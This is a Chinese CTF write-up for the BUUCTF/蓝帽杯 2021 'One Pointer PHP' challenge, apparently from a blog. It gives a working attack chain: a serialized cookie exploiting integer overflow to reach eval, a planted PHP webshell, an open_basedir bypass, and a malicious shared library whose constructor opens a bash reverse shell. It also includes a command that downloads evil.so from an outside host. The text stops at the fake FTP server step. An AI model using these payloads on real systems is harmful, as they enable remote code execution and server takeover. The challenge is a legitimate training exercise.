[BUUCTF][蓝帽杯 2021]One Pointer PHP

本文详细介绍了如何利用PHP中的数组溢出、绕过open_basedir限制、攻击php-fpm以及SUID提权等安全漏洞。首先通过构造特定的反序列化数据来绕过条件判断执行恶意代码,然后利用ini_set和chdir等函数组合绕过open_basedir限制,进一步通过FTP SSRF将恶意.so文件上传到服务器,结合FastCGI协议实现远程代码执行。最后,通过查找具有SUID权限的命令,利用php的suid权限获取flag。整个过程揭示了服务器安全的重要性及防范措施。

考点

PHP数组溢出

绕过open_basedir

攻击php-fpm绕过disable functions

Suid提权

源码

user.php

<?php
class User{
   
   
	public $count;
}
?>

add_api.php

<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
   
   
	$count[++$user->count]=1;
	if($count[]=1){
   
   
		$user->count+=1;
		setcookie("data",serialize($user));
	}else{
   
   
		eval($_GET["backdoor"]);
	}
}else{
   
   
	$user=new User;
	$user->count=1;
	setcookie("data",serialize($user));
}
?>

第一步

反序列化cookies->data使其$count[++$user->count]=1

需要绕过if($count[]=1)语句进入else分支执行eval函数

PHP数组溢出

在 PHP 中,整型数是有一个范围的,对于32位的操作系统,最大的整型是2147483647,即2的31次方,最小为-2的31次方。如果给定的一个整数超出了整型(integer)的范围,将会被解释为浮点型(float)。同样如果执行的运算结果超出了整型(integer)范围,也会返回浮点型(float)。

测试:

<?php
class User{
   
   
    public $count;
}

$a = new User();
$a->count = 9223372036854775806;

$user=unserialize(serialize($a));
$count[++$user->count]=1;
var_dump($count);

if($count[]=1){
   
   
    echo "die";
}else{
   
   
    echo "success";
}
?>

输出

array(1) {
  [0]=>
  int(1)
}
die

所以这里只需要$a->count=9223372036854775806即long最大值时即可绕过(64位即2^64)

<?php

class User{
   
   
	public $count=9223372036854775806;
}
echo urlencode(serialize(new User()));
?>
//O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

在请求信息中添加Cookie:data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

第二步

查看phpinfo()

/add_api.php?backdoor=phpinfo();

disable_classes:
Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException
disable_functions:	stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive
open_basedir:/var/www/html
Server API:FPM/FastCGI 

绕过open_basedir查看目录文件

ini_set绕过

open_basedir可以用经典的的ini_set+chdir绕过,先mkdir()创建一个子目录,然后再chdir()进去,ini_set("open_basedir", "..")就是合法的,当open_basedir变成..之后,就可以一路chdir("..")直达根目录,这时再ini_set("open_basedir", "/")就可以完全绕过open_basedir的限制了
一开始直接ini_set("open_basedir", "/")不行,因为根目录不在当前的open_basedir下

为了方便我们先传一个木马上去

add_api.php?backdoor=file_put_contents('/var/www/html/1.php','<?php eval($_POST[1]);?>');

读文件

1=mkdir('snakin');chdir('snakin');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

发现有flag文件,尝试读取失败,应该有权限限制,需要提权

1=mkdir('snakin');chdir('snakin');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));
glob协议绕过

由于html目录可写,利用glob://协议先探测目录

<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
   
   
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
   
   
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
   
   
        echo "{
     
     $f}<br/>";
}
?>

glob:// — 查找匹配的文件路径模式

读取配置文件

预期解:

/usr/local/etc/php/php.ini

发现extension=easy_bypass.so

pwn

非预期:

/etc/nginx/sites-enabled/default

发现

# pass PHP scripts to FastCGI server
	#
	location ~ \.php$ {
    root           html;
    fastcgi_pass   127.0.0.1:9001;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html/$fastcgi_script_name;
    include        fastcgi_params;
    }

应该是通过未授权打FPM rce

攻击 php-fpm 绕过 disable_functions

反弹shell
编写拓展
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
   
   
    system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}

编译(linux上)

gcc evil.c -fPIC -shared -o evil.so

编译好之后将其上传到/tmp目录下

add_api.php?backdoor=mkdir('snakin');chdir('snakin');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy("http://xx.xx.xx.xx/evil.so","/tmp/evil.so");
伪造ftp服务器
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值